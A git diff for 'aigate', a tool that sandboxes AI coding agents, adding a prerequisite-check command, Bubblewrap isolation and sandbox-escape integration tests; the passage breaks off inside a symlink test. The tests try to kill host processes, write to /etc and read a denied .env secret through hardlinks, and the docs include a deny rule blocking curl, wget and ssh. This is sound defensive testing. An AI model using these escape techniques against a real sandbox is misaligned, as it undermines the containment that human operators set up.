diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index b6750d5..7e1929e 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -12,7 +12,7 @@ jobs: - name: Set up Go uses: actions/setup-go@v5 with: - go-version: '1.24' + go-version: '1.25' cache: true - name: Download dependencies @@ -24,6 +24,23 @@ jobs: - name: Build binary run: make build-local + vuln: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Set up Go + uses: actions/setup-go@v5 + with: + go-version: '1.25' + cache: true + + - name: Install govulncheck + run: go install golang.org/x/vuln/cmd/govulncheck@latest + + - name: Run govulncheck + run: govulncheck ./... + lint: runs-on: ubuntu-latest steps: @@ -32,11 +49,11 @@ jobs: - name: Set up Go uses: actions/setup-go@v5 with: - go-version: '1.24' + go-version: '1.25' cache: true + - name: Install golangci-lint + run: go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@latest + - name: Run golangci-lint - uses: golangci/golangci-lint-action@v6 - with: - version: latest - args: --timeout=5m + run: golangci-lint run --timeout=5m diff --git a/README.md b/README.md index 8e354f4..aa80976 100644 --- a/README.md +++ b/README.md @@ -18,9 +18,14 @@ curl -L https://github.com/AxeForging/aigate/releases/latest/download/aigate-linux-amd64.tar.gz | tar xz sudo mv aigate-linux-amd64 /usr/local/bin/aigate +# Install sandbox dependencies (Linux) +sudo dnf install bubblewrap slirp4netns # Fedora / RHEL +# sudo apt install bubblewrap slirp4netns # Ubuntu / Debian + # Set up sandbox sudo aigate setup # One-time: create OS group/user for ACLs aigate init # Create default config +aigate doctor # Verify prerequisites # Add restrictions aigate deny read .env secrets/ *.pem @@ -44,8 +49,8 @@ AI coding tools rely on application-level permission systems that can be bypasse ## Features - **File isolation** - POSIX ACLs (Linux) / macOS ACLs deny read access to secrets -- **Process isolation** - Mount namespaces overmount sensitive directories (Linux) -- **Network isolation** - Network namespaces restrict egress to allowed domains (Linux) +- **Process isolation** - Bubblewrap (`bwrap`) + mount namespaces isolate the sandbox declaratively (Linux); Seatbelt on macOS +- **Network isolation** - `bwrap --unshare-net` + `slirp4netns` + `iptables` restrict egress to allowed domains (Linux) - **Command blocking** - Deny execution of dangerous commands (curl, wget, ssh) - **Output masking** - Redact secrets (API keys, tokens) from stdout/stderr before they reach the terminal - **Resource limits** - cgroups v2 enforce memory, CPU, PID limits (Linux) @@ -67,6 +72,7 @@ AI coding tools rely on application-level permission systems that can be bypasse ```sh sudo aigate setup # Create OS group/user (one-time) aigate init # Create default config +aigate doctor # Check prerequisites and isolation mode aigate deny read .env secrets/ *.pem # Block file access aigate deny exec curl wget ssh # Block commands aigate deny net --except api.anthropic.com # Restrict network diff --git a/actions/doctor.go b/actions/doctor.go new file mode 100644 index 0000000..5345a4f --- /dev/null +++ b/actions/doctor.go @@ -0,0 +1,162 @@ +package actions + +import ( + "fmt" + "os/exec" + "runtime" + "strings" + + "github.com/urfave/cli" +) + +type DoctorAction struct{} + +func NewDoctorAction() *DoctorAction { + return &DoctorAction{} +} + +func (a *DoctorAction) Execute(c *cli.Context) error { + fmt.Printf("aigate doctor — runtime checks (%s/%s)\n\n", runtime.GOOS, runtime.GOARCH) + + switch runtime.GOOS { + case "linux": + runLinuxChecks() + case "darwin": + runDarwinChecks() + default: + fmt.Println(" No platform-specific checks for this OS.") + } + + return nil +} + +// ── Linux ──────────────────────────────────────────────────────────────────── + +func runLinuxChecks() { + bwrapOK := printCheck("bwrap", + "sandbox isolation (mount / pid / user namespaces)", + "sudo dnf install bubblewrap OR sudo apt install bubblewrap") + + slirpOK := printCheck("slirp4netns", + "network filtering — required for allow_net rules", + "sudo dnf install slirp4netns OR sudo apt install slirp4netns") + + printCheck("setfacl", + "persistent ACLs — deny_read enforced on disk between sessions", + "sudo dnf install acl OR sudo apt install acl") + + unshareOK := checkUserNamespaces() + + fmt.Println() + printLinuxIsolationMode(bwrapOK, slirpOK, unshareOK) +} + +// printCheck looks up tool by name, prints a status line, and returns true if found. +// installHint is printed on a second line when the tool is missing. +func printCheck(name, desc, installHint string) bool { + path, err := exec.LookPath(name) + if err != nil { + fmt.Printf(" WARN %-16s not found\n", name) + fmt.Printf(" %s\n", desc) + if installHint != "" { + fmt.Printf(" Install: %s\n", installHint) + } + return false + } + + ver := toolVersion(name) + if ver != "" { + fmt.Printf(" ok %-16s %s (%s)\n", name, ver, path) + } else { + fmt.Printf(" ok %-16s %s\n", name, path) + } + fmt.Printf(" %s\n", desc) + return true +} + +// toolVersion runs `name --version` and returns the first meaningful token. +func toolVersion(name string) string { + out, err := exec.Command(name, "--version").CombinedOutput() //nolint:gosec + if err != nil { + return "" + } + line := strings.SplitN(strings.TrimSpace(string(out)), "\n", 2)[0] + // Keep only the version token (e.g. "bubblewrap 0.10.0" → "v0.10.0") + parts := strings.Fields(line) + for _, p := range parts { + if len(p) > 0 && (p[0] >= '0' && p[0] <= '9') { + return "v" + p + } + } + return "" +} + +// checkUserNamespaces verifies that unprivileged user namespaces are enabled. +func checkUserNamespaces() bool { + // Attempt a trivial unshare; if it fails the kernel has them disabled. + err := exec.Command("unshare", "--user", "--", "true").Run() + if err != nil { + fmt.Printf(" WARN %-16s disabled\n", "user namespaces") + fmt.Printf(" Required for all sandbox modes.\n") + fmt.Printf(" Enable: echo 1 | sudo tee /proc/sys/kernel/unprivileged_userns_clone\n") + return false + } + fmt.Printf(" ok %-16s enabled\n", "user namespaces") + fmt.Printf(" Required for all sandbox modes.\n") + return true +} + +// printLinuxIsolationMode describes which sandbox path will be taken based on +// available tools, mirroring the dispatch logic in RunSandboxed. +func printLinuxIsolationMode(bwrap, slirp, unshare bool) { + fmt.Println("Isolation mode:") + + switch { + case bwrap && slirp: + fmt.Println(" bwrap + slirp4netns (full isolation)") + fmt.Println() + fmt.Println(" deny_read bwrap bind mounts kernel-enforced, per-run") + fmt.Println(" deny_exec bwrap bind mounts kernel-enforced, per-run") + fmt.Println(" allow_net bwrap --unshare-net network namespace via bwrap") + fmt.Println(" slirp4netns + iptables egress filtered to allowed hosts") + fmt.Println(" config dir bwrap tmpfs overlay ~/.aigate hidden from agent") + case bwrap && !slirp: + fmt.Println(" bwrap (no network filtering — slirp4netns missing)") + fmt.Println() + fmt.Println(" deny_read bwrap bind mounts kernel-enforced, per-run") + fmt.Println(" deny_exec bwrap bind mounts kernel-enforced, per-run") + fmt.Println(" allow_net INACTIVE install slirp4netns to enable") + fmt.Println(" config dir bwrap tmpfs overlay ~/.aigate hidden from agent") + case !bwrap && slirp && unshare: + fmt.Println(" unshare + slirp4netns (fallback — install bwrap for stronger isolation)") + fmt.Println() + fmt.Println(" deny_read mount namespace overrides shell-script-based") + fmt.Println(" deny_exec mount namespace overrides shell-script-based") + fmt.Println(" allow_net unshare --net + slirp4netns egress filtered to allowed hosts") + fmt.Println(" config dir tmpfs mount ~/.aigate hidden from agent") + case !bwrap && !slirp && unshare: + fmt.Println(" unshare (fallback — install bwrap for stronger isolation)") + fmt.Println() + fmt.Println(" deny_read mount namespace overrides shell-script-based") + fmt.Println(" deny_exec mount namespace overrides shell-script-based") + fmt.Println(" allow_net INACTIVE install slirp4netns to enable") + fmt.Println(" config dir tmpfs mount ~/.aigate hidden from agent") + default: + fmt.Println(" NONE — user namespaces are disabled; sandbox cannot run") + } +} + +// ── macOS ──────────────────────────────────────────────────────────────────── + +func runDarwinChecks() { + printCheck("sandbox-exec", + "macOS Seatbelt sandbox (deny_read, deny_exec, allow_net)", + "Built into macOS — should always be present") + + fmt.Println() + fmt.Println("Isolation mode: sandbox-exec (Seatbelt)") + fmt.Println() + fmt.Println(" deny_read Seatbelt file-read* deny rules kernel-enforced") + fmt.Println(" deny_exec Seatbelt process-exec deny kernel-enforced") + fmt.Println(" allow_net Seatbelt network-outbound rules kernel-enforced") +} diff --git a/docs/AI/README.md b/docs/AI/README.md index 6c2e015..b45ee2a 100644 --- a/docs/AI/README.md +++ b/docs/AI/README.md @@ -14,12 +14,13 @@ domain/ Pure data structures types.go Rule, Config, SandboxProfile, ResourceLimits services/ Core business logic - platform.go Platform interface + Executor interface + resolvePatterns - platform_linux.go Linux: setfacl, groupadd/useradd, unshare (namespaces) - platform_darwin.go macOS: chmod +a, dscl, sandbox-exec - config_service.go Config load/save/merge (global + project) - rule_service.go Rule CRUD (add/remove/list deny rules) - runner_service.go Sandboxed process launcher + platform.go Platform interface + Executor interface + resolvePatterns + platform_linux.go Linux: setfacl, groupadd/useradd, RunSandboxed dispatch + platform_linux_bwrap.go Linux bwrap path: buildBwrapArgs, runWithBwrap, runWithBwrapNetFilter + platform_darwin.go macOS: chmod +a, dscl, sandbox-exec + config_service.go Config load/save/merge (global + project) + rule_service.go Rule CRUD (add/remove/list deny rules) + runner_service.go Sandboxed process launcher actions/ CLI command handlers init.go Create group, user, default config @@ -28,6 +29,7 @@ actions/ CLI command handlers run.go Run command inside sandbox status.go Show current sandbox state reset.go Remove group, user, config + doctor.go Check prerequisites and active isolation mode helpers/ Logging and error types logger.go zerolog console logger @@ -40,8 +42,9 @@ integration/ End-to-end CLI tests ## Key Design Decisions - **Platform interface**: Linux and macOS use completely different OS mechanisms. The `Platform` interface abstracts this with `newPlatform()` factory via build tags. -- **Executor interface**: All `exec.Command` calls go through `Executor`, enabling unit tests without root. -- **No CGO**: All platform operations use `exec.Command` to call system utilities (setfacl, groupadd, dscl, chmod). +- **Executor interface**: All `exec.Command` calls go through `Executor`, enabling unit tests without root. Exception: `runWithBwrapNetFilter` uses `exec.Command` directly because it needs `cmd.Start()` + `ExtraFiles` for the info-fd pipe, which the Executor interface does not expose. +- **bwrap-first on Linux**: `RunSandboxed` prefers bwrap when available; falls back to `unshare`-based shell scripts. bwrap uses declarative bind mounts (no shell injection risk), resolves symlinks for bind destinations, and handles capabilities via `--uid 0 --cap-add` for the network path. +- **No CGO**: All platform operations use `exec.Command` to call system utilities (setfacl, groupadd, dscl, chmod, bwrap, slirp4netns). - **Config merging**: Global config (`~/.aigate/config.yaml`) + project config (`.aigate.yaml`) merge with project extending global. ## Testing diff --git a/docs/user/README.md b/docs/user/README.md index 75968b2..567683c 100644 --- a/docs/user/README.md +++ b/docs/user/README.md @@ -14,10 +14,28 @@ Unlike application-level restrictions that can be bypassed, aigate uses kernel-e | | Linux | macOS | |---|---|---| -| **Required** | `setfacl` (usually pre-installed) | None (uses built-in sandbox-exec) | +| **Recommended** | `bwrap` (Bubblewrap) | None (uses built-in sandbox-exec) | | **For network filtering** | `slirp4netns` | None (uses built-in Seatbelt) | +| **For persistent ACLs** | `setfacl` (usually pre-installed) | None | -Install `slirp4netns` on Linux if you use `allow_net`: +### Install Bubblewrap (recommended, Linux) + +`bwrap` provides stronger isolation than the fallback `unshare` path. When present, aigate uses it for all sandbox modes. + +```sh +# Fedora / RHEL +sudo dnf install bubblewrap + +# Ubuntu / Debian +sudo apt install bubblewrap + +# Arch +sudo pacman -S bubblewrap +``` + +Without `bwrap`, aigate falls back to `unshare`-based namespaces (still functional, but shell-script-based overrides instead of declarative bind mounts). + +### Install slirp4netns (required for `allow_net`, Linux) ```sh # Fedora / RHEL @@ -32,6 +50,14 @@ sudo pacman -S slirp4netns If `slirp4netns` is not installed, aigate logs a warning and runs without network filtering. +### Verify your setup + +```sh +aigate doctor +``` + +Shows which tools are available and the isolation mode that will be used. + ## Install ### Linux/macOS (AMD64) @@ -144,6 +170,24 @@ Show current sandbox configuration: aigate status ``` +### doctor + +Check sandbox prerequisites and show which isolation mode will be active: + +```sh +aigate doctor +``` + +Example output: +``` + ok bwrap v0.10.0 — sandbox isolation (mount/pid/user namespaces) + ok slirp4netns v1.3.1 — network filtering (allow_net rules) + ok setfacl v2.3.2 — persistent ACLs + ok user namespaces enabled + +Isolation mode: bwrap + slirp4netns (full isolation) +``` + ### reset Remove everything (group, user, config): @@ -295,7 +339,8 @@ Two layers working together for defense-in-depth: Restricts outbound connections to domains listed in `allow_net`: -- **Linux**: User namespace + network namespace + `slirp4netns` for user-mode networking + `iptables` OUTPUT rules. Hostnames are resolved inside the namespace so iptables IPs match what the sandboxed process sees. Requires `slirp4netns` (falls back to unrestricted if not installed). No root needed. +- **Linux (bwrap path)**: bwrap creates a network namespace via `--unshare-net`. Go reads bwrap's `--info-fd` to get the child PID, then launches `slirp4netns --configure` from host-side to attach user-mode networking. Inside the sandbox, `iptables` OUTPUT rules resolve each `allow_net` hostname and restrict egress. No root needed. +- **Linux (unshare fallback)**: Two-layer `unshare` — outer creates user namespace, inner creates network namespace. `slirp4netns` runs inside the user namespace. Same `iptables` filtering. - **macOS**: `sandbox-exec` Seatbelt profiles with `(deny network-outbound)` and per-host `(allow network-outbound (remote ip ...))` rules. Kernel-enforced via Sandbox.kext. **Linux**: @@ -308,9 +353,13 @@ Restricts outbound connections to domains listed in `allow_net`: ### Process isolation (Linux) -- **User namespace**: Maps calling user to UID 0 inside the namespace, giving capabilities for mount/net operations without real root -- **PID namespace**: Sandboxed process sees itself as PID 1, cannot see or signal host processes. `/proc` is remounted to match -- **Mount namespace**: Enables filesystem overrides without affecting the host +When `bwrap` is installed (recommended): + +- **User namespace** (`--unshare-user`): Maps calling user to a root-equivalent UID inside the namespace. Required for mount/net operations without real root. +- **PID namespace** (`--unshare-pid`): Sandboxed process sees itself as PID 1, cannot see or signal host processes. `/proc` is remounted fresh. +- **Mount namespace**: bwrap declaratively applies deny_read bind mounts, config-dir hiding, and deny_exec stubs before exec — no shell-based overrides. + +Without `bwrap`, aigate falls back to `unshare --user --map-root-user` + shell scripts for the same effects. ![Linux Process Isolation](../diagrams/linux-process.png) @@ -342,7 +391,10 @@ Run `sudo aigate setup` to create the sandbox group and user, then `aigate init` Install `slirp4netns` for network filtering on Linux (see [Prerequisites](#prerequisites)). Without it, `allow_net` rules are ignored and the sandboxed process has unrestricted network access. ### Allowed hosts still blocked -If hosts in `allow_net` are being rejected, DNS inside the sandbox may not have been ready in time. Check that `slirp4netns` is installed and working. Run with `AIGATE_LOG_LEVEL=debug` for detailed output. +If hosts in `allow_net` are being rejected, DNS inside the sandbox may not have been ready in time. Check that `slirp4netns` is installed and working. Run `aigate doctor` to verify your setup, or use `AIGATE_LOG_LEVEL=debug` for detailed output. + +### bwrap not found +Install `bubblewrap` for stronger isolation (see [Prerequisites](#prerequisites)). Without it, aigate falls back to the `unshare`-based sandbox which is still functional but uses shell-script-based mount overrides. ## Exit Codes diff --git a/go.mod b/go.mod index 9ac05f5..71379bf 100644 --- a/go.mod +++ b/go.mod @@ -1,19 +1,20 @@ module github.com/AxeForging/aigate -go 1.24.13 +go 1.25.8 require ( + github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 github.com/creack/pty v1.1.24 github.com/rs/zerolog v1.34.0 github.com/urfave/cli v1.22.17 - golang.org/x/term v0.12.0 + golang.org/x/term v0.41.0 gopkg.in/yaml.v3 v3.0.1 ) require ( github.com/cpuguy83/go-md2man/v2 v2.0.7 // indirect - github.com/mattn/go-colorable v0.1.13 // indirect - github.com/mattn/go-isatty v0.0.19 // indirect + github.com/mattn/go-colorable v0.1.14 // indirect + github.com/mattn/go-isatty v0.0.20 // indirect github.com/russross/blackfriday/v2 v2.1.0 // indirect - golang.org/x/sys v0.12.0 // indirect + golang.org/x/sys v0.42.0 // indirect ) diff --git a/go.sum b/go.sum index dc73ad8..181aa50 100644 --- a/go.sum +++ b/go.sum @@ -1,18 +1,23 @@ github.com/BurntSushi/toml v1.5.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho= +github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63nhn5WAunQHLTznkw5W8b1Xc0dNjp83s= +github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2/go.mod h1:HBCaDeC1lPdgDeDbhX8XFpy1jqjK0IBG8W5K+xYqA0w= github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/cpuguy83/go-md2man/v2 v2.0.7 h1:zbFlGlXEAKlwXpmvle3d8Oe3YnkKIK4xSRTd3sHPnBo= github.com/cpuguy83/go-md2man/v2 v2.0.7/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= +github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s= github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= -github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= +github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE= +github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= -github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA= github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= @@ -25,6 +30,7 @@ github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+ github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= +github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= @@ -34,12 +40,9 @@ github.com/urfave/cli v1.22.17 h1:SYzXoiPfQjHBbkYxbew5prZHS1TOLT3ierW8SYLqtVQ= github.com/urfave/cli v1.22.17/go.mod h1:b0ht0aqgH/6pBYzzxURyrM4xXNgsoT/n2ZzwQiEhNVo= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo= golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= -golang.org/x/term v0.12.0 h1:/ZfYdc3zq+q02Rv9vGqTeSItdzZTSNDmfTi0mBAuidU= -golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= golang.org/x/term v0.41.0 h1:QCgPso/Q3RTJx2Th4bDLqML4W6iJiaXFq2/ftQF13YU= golang.org/x/term v0.41.0/go.mod h1:3pfBgksrReYfZ5lvYM0kSO0LIkAl4Yl2bXOkKP7Ec2A= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= diff --git a/integration/cli_test.go b/integration/cli_test.go index 69643ce..542206c 100644 --- a/integration/cli_test.go +++ b/integration/cli_test.go @@ -49,6 +49,25 @@ func TestCLI_Help(t *testing.T) { if !strings.Contains(output, "status") { t.Error("--help should list 'status' command") } + if !strings.Contains(output, "doctor") { + t.Error("--help should list 'doctor' command") + } +} + +func TestCLI_Doctor(t *testing.T) { + bin := buildBinary(t) + cmd := exec.Command(bin, "doctor") + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("doctor failed: %v\n%s", err, string(out)) + } + output := string(out) + if !strings.Contains(output, "doctor") { + t.Error("doctor output should contain 'doctor'") + } + if !strings.Contains(output, "Isolation mode") { + t.Error("doctor output should contain 'Isolation mode'") + } } func TestCLI_Version(t *testing.T) { diff --git a/integration/sandbox_escape_test.go b/integration/sandbox_escape_test.go new file mode 100644 index 0000000..dd91236 --- /dev/null +++ b/integration/sandbox_escape_test.go @@ -0,0 +1,704 @@ +package integration + +import ( + "context" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + "syscall" + "testing" + "time" +) + +const escapeTestTimeout = 15 * time.Second + +// runSandboxedCmd runs a command inside the bwrap sandbox and returns +// combined stdout+stderr. Skips if bwrap is not installed. Each invocation +// is capped at escapeTestTimeout to prevent hangs. +func runSandboxedCmd(t *testing.T, bin string, env []string, workDir string, cmdAndArgs ...string) (string, error) { + t.Helper() + if _, err := exec.LookPath("bwrap"); err != nil { + t.Skip("bwrap not found, skipping sandbox escape test") + } + ctx, cancel := context.WithTimeout(context.Background(), escapeTestTimeout) + defer cancel() + fullArgs := append([]string{"run", "--"}, cmdAndArgs...) + cmd := exec.CommandContext(ctx, bin, fullArgs...) + cmd.Env = env + if workDir != "" { + cmd.Dir = workDir + } + out, err := cmd.CombinedOutput() + if ctx.Err() == context.DeadlineExceeded { + t.Fatalf("sandboxed command timed out after %s: %s %v", escapeTestTimeout, cmdAndArgs[0], cmdAndArgs[1:]) + } + return string(out), err +} + +// ═══════════════════════════════════════════════════════════════════════════ +// PID NAMESPACE: Can we see or signal host processes? +// ═══════════════════════════════════════════════════════════════════════════ + +// TestEscape_ProcHostPIDs verifies host PIDs are invisible. +// We get the host test PID, then check it's not in /proc inside the sandbox. +func TestEscape_ProcHostPIDs(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + _, env := sandboxEnv(t) + + hostPID := strconv.Itoa(os.Getpid()) + + out, err := runSandboxedCmd(t, bin, env, "", "sh", "-c", + "ls /proc/ | grep -E '^[0-9]+$' | sort -n") + if err != nil { + t.Fatalf("listing /proc PIDs failed: %v\n%s", err, out) + } + + for _, line := range strings.Split(strings.TrimSpace(out), "\n") { + if strings.TrimSpace(line) == hostPID { + t.Errorf("host PID %s visible inside sandbox — PID namespace broken", hostPID) + } + } + + pids := strings.Split(strings.TrimSpace(out), "\n") + if len(pids) > 10 { + t.Errorf("sandbox sees %d PIDs (expected <10)", len(pids)) + } +} + +// TestEscape_KillHostProcess starts a real process on the host, tries to +// kill it from inside the sandbox, then verifies it survived. +func TestEscape_KillHostProcess(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + _, env := sandboxEnv(t) + + // Sacrificial host process + victim := exec.Command("sleep", "60") + if err := victim.Start(); err != nil { + t.Fatalf("start victim: %v", err) + } + defer func() { + victim.Process.Kill() //nolint:errcheck + victim.Process.Wait() //nolint:errcheck + }() + hostPID := strconv.Itoa(victim.Process.Pid) + + // Try to kill it from inside the sandbox — verify the command fails + out, _ := runSandboxedCmd(t, bin, env, "", "sh", "-c", + "kill -9 "+hostPID+" 2>&1; echo KILL_EXIT:$?") + if strings.Contains(out, "KILL_EXIT:0") { + t.Error("kill command succeeded inside sandbox — PID namespace isolation broken") + } + + // Double-check: verify victim is still alive on the host + if err := victim.Process.Signal(syscall.Signal(0)); err != nil { + t.Error("host process was killed from inside sandbox — PID namespace broken") + } +} + +// TestEscape_ProcCmdlinePID1 verifies PID 1 inside sandbox is NOT host init. +func TestEscape_ProcCmdlinePID1(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + _, env := sandboxEnv(t) + + out, err := runSandboxedCmd(t, bin, env, "", "sh", "-c", + "cat /proc/1/cmdline 2>&1 | tr '\\0' ' '") + trimmed := strings.TrimSpace(out) + if err != nil || trimmed == "" { + t.Fatalf("cannot read PID 1 cmdline inside sandbox: err=%v out=%q", err, out) + } + if strings.Contains(out, "systemd") || strings.Contains(out, "/sbin/init") { + t.Errorf("PID 1 is host init (%q) — PID namespace not working", trimmed) + } +} + +// ═══════════════════════════════════════════════════════════════════════════ +// FILESYSTEM: Can we write outside the sandbox? +// ═══════════════════════════════════════════════════════════════════════════ + +// TestEscape_WriteToUserOwnedPath is the most important filesystem test. +// bwrap uses --bind / / (rw) so the sandboxed process maps to the same UID. +// This test creates a user-owned file outside the workdir and checks if the +// sandbox can tamper with it. If it can, that's a real finding. +func TestEscape_WriteToUserOwnedPath(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + _, env := sandboxEnv(t) + + canaryDir := t.TempDir() + canaryFile := filepath.Join(canaryDir, "canary.txt") + if err := os.WriteFile(canaryFile, []byte("original"), 0o644); err != nil { + t.Fatal(err) + } + + runSandboxedCmd(t, bin, env, "", "sh", "-c", "echo TAMPERED > "+canaryFile+" 2>/dev/null; true") //nolint:errcheck + + data, err := os.ReadFile(canaryFile) + if err != nil { + t.Fatalf("reading canary: %v", err) + } + if strings.Contains(string(data), "TAMPERED") { + t.Error("SANDBOX ESCAPE: wrote to user-owned host file outside workdir.\n" + + " bwrap --bind / / with --unshare-user still allows writes to user-owned paths.") + } +} + +// TestEscape_WriteToEtc verifies root-owned paths are not writable. +func TestEscape_WriteToEtc(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + _, env := sandboxEnv(t) + + runSandboxedCmd(t, bin, env, "", "sh", "-c", //nolint:errcheck + "echo ESCAPED > /etc/aigate-escape-test 2>/dev/null; true") + + if _, err := os.Stat("/etc/aigate-escape-test"); err == nil { + t.Error("wrote to /etc on host — filesystem isolation broken") + os.Remove("/etc/aigate-escape-test") //nolint:errcheck + } +} + +// ═══════════════════════════════════════════════════════════════════════════ +// DENY_READ: Can we read denied files through alternative paths? +// ═══════════════════════════════════════════════════════════════════════════ + +// TestEscape_HardlinkBypassDenyRead is the most likely real bypass. +// bwrap --bind overlays a deny marker at the exact path, but a hardlink +// to the same inode has a different path — the overlay doesn't cover it. +func TestEscape_HardlinkBypassDenyRead(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + tmpHome, env := sandboxEnv(t) + + workDir := t.TempDir() + secretFile := filepath.Join(workDir, ".env") + if err := os.WriteFile(secretFile, []byte("API_KEY=sk-hardlink-secret\n"), 0o644); err != nil { + t.Fatal(err) + } + + // Create hardlink BEFORE sandbox starts + hardlink := filepath.Join(workDir, ".env-hardlink") + if err := os.Link(secretFile, hardlink); err != nil { + t.Skip("hardlinks not supported") + } + + cfgPath := filepath.Join(tmpHome, ".aigate", "config.yaml") + cfg := "group: ai-agents\nuser: ai-runner\ndeny_read: [.env]\ndeny_exec: []\nallow_net: []\n" + if err := os.WriteFile(cfgPath, []byte(cfg), 0o644); err != nil { + t.Fatal(err) + } + + out, _ := runSandboxedCmd(t, bin, env, workDir, "cat", hardlink) + if strings.Contains(out, "sk-hardlink-secret") { + t.Error("HARDLINK BYPASSED deny_read — bind mount only covers exact path, not inode") + } +} + +// TestEscape_SymlinkBypassDenyRead tests the symlink path to a denied file. +func TestEscape_SymlinkBypassDenyRead(t *testing.T) { + if testing.Short() { + t.Skip("skipping sandbox escape test in short mode") + } + bin := buildBinary(t) + tmpHome, env := sandboxEnv(t) + + workDir := t.TempDir() + secretFile := filepath.Join(workDir, "secret.txt") + if err := os.WriteFile(secretFile, []byte("TOP_SECRET\n"), 